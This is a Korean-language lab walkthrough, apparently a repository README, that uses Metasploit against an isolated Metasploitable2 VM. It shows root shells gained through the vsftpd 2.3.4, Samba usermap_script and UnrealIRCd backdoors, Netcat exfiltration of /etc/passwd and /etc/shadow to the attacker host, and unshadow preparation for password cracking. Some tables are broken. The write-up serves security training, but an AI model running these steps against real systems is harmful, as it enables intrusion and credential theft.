
Metasploitable2를 대상으로 한 전체 Metasploit 익스플로잇 워크스루 — vsftpd 백도어, Samba CVE-2007-2447, UnrealIRCd 백도어, Netcat 데이터 유출 및 자격 증명 크래킹 준비.
Metasploit Framework를 활용한 실습형 공격 워크스루입니다. PostgreSQL 데이터베이스 설정과 db_nmap 스캔부터 vsftpd, Samba, UnrealIRCd를 통한 세 개의 root 셸 획득, Netcat을 통한 자격 증명 탈취까지 다룹니다.
이 저장소는 격리된 VirtualBox 실습 환경에서 Metasploitable2를 대상으로 한 전체 Metasploit 공격 과정을 기록합니다. 다루는 주제:
db_nmap 실행usermap_script 명령 주입)/etc/passwd 및 /etc/shadow 탈취 후 unshadow로 병합| 머신 | 역할 | IP 주소 |
|---|---|---|
| Kali Linux 2026.1 | 공격자 | 192.168.1.4 |
| Metasploitable2 | 대상 | 192.168.1.3 |
네트워크: 192.168.1.0/24 — VirtualBox 내부의 완전히 격리된 NAT 네트워크.
# Start PostgreSQL and initialize the database (one time only)
sudo systemctl start postgresql
sudo msfdb init
# Launch Metasploit
msfconsole


msf6> db_status # Verify: Connected to msf. Connection type: postgresql.
msf6> workspace -a 178-metasploitable2
msf6> workspace # Confirm active workspace

msf6> db_nmap -A 192.168.1.0/24 -n

msf6> hosts
msf6> services

Metasploitable2에서 발견된 두 개의 FTP 서버:
| 포트 | 서비스 | 정보 |
|---|---|---|
| 21/tcp | ftp | vsftpd 2.3.4 |
| 2121/tcp | ftp | ProFTPD 1.3.1 |
2011년 7월, vsftpd 2.3.4 소스 아카이브가 손상되었습니다. FTP 사용자 이름에 :)가 포함되면 포트 6200에서 root 셸을 여는 백도어가 삽입된 것입니다. CVE: CVE-2011-2523.
코드 diff: https://pastebin.com/AetT9sS5
msf6> search type:exploit name:vsftpd
# Result: exploit/unix/ftp/vsftpd_234_backdoor (rank: excellent)
msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> info




msf6> set RHOSTS 192.168.1.3
msf6> set RPORT 21
msf6> set LHOST 192.168.1.4
msf6> exploit


meterpreter> shell
whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

해시된 비밀번호 추출:
cat /etc/shadow | grep '$1'

Samba 3.0.0–3.0.25rc3 버전은 인증이 발생하기 전에 username map script 옵션을 통해 사용자 이름 필드의 셸 메타 문자를 /bin/sh로 직접 전달합니다. Metasploitable2는 Samba 3.0.20-Debian을 실행합니다.
msf6> search type:exploit name:samba
# ~7 exploits found
msf6> use exploit/multi/samba/usermap_script
msf6> info



msf6> set RHOSTS 192.168.1.3
msf6> exploit


whoami # root
smbd --version # Version 3.0.20-Debian
탭 2 — Kali (수신):
nc -l -p 4567 > passwd.txt
탭 1 — 공격 셸 (송신):
cat /etc/passwd | nc 192.168.1.4 4567


/etc/shadow에 대해서도 동일하게 반복한 후 병합합니다:
unshadow passwd.txt shadow.txt > metasploitable_logins.txt
cat metasploitable_logins.txt
UnrealIRCd 3.2.8.1은 소스 코드에 백도어가 포함된 채 배포되었습니다. 포트 6667로 AB를 보내면 서버는 인증 없이 이후의 모든 명령을 root로 실행합니다.
msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload cmd/unix/bind_netcat
msf6> set RHOSTS 192.168.1.3
msf6> set LHOST 192.168.1.4
msf6> set RPORT 6667
msf6> exploit


whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
필수 옵션:
| 옵션 |
|---|
db_nmap → hosts → services → search → use → info → show options → set → exploit → shell
exploit 전에 info를 확인하는 습관을 들일 만합니다 — CVE, 영향받는 버전, 필수 옵션을 표시해 줍니다| 값 |
|---|
| 설명 |
|---|
| RHOSTS | 192.168.1.3 | 대상 IP |
| RPORT | 6667 | IRC 기본 포트 |
| LHOST | 192.168.1.4 | Kali 리스너 IP |
| payload | cmd/unix/bind_netcat | Netcat을 통한 바인드 셸 |
| 실수 | 결과 | 해결책 |
|---|
msfdb init 건너뛰기 | 데이터베이스 없음 — 스캔 결과가 저장되지 않음 | 첫 사용 전에 sudo msfdb init를 한 번 실행 |
LHOST를 설정하지 않음 | 리버스 셸이 콜백할 곳이 없음 | 항상 LHOST를 Kali IP로 설정 |
세션마다 msfdb init 실행 | 기존 데이터를 덮어씀 | 한 번만 실행; sudo msfdb status로 확인 |
| 잘못된 RPORT | 공격이 조용히 실패함 | 설정 전에 services에서 포트 확인 |
| Netcat 리스너를 너무 일찍 종료 | 파일 전송이 잘림 | 파이프 명령 후 CTRL-C 전에 잠시 대기 |
unshadow 건너뛰기 | 암호 크래커가 분할 파일 형식을 거부함 | 항상 passwd + shadow를 먼저 병합 |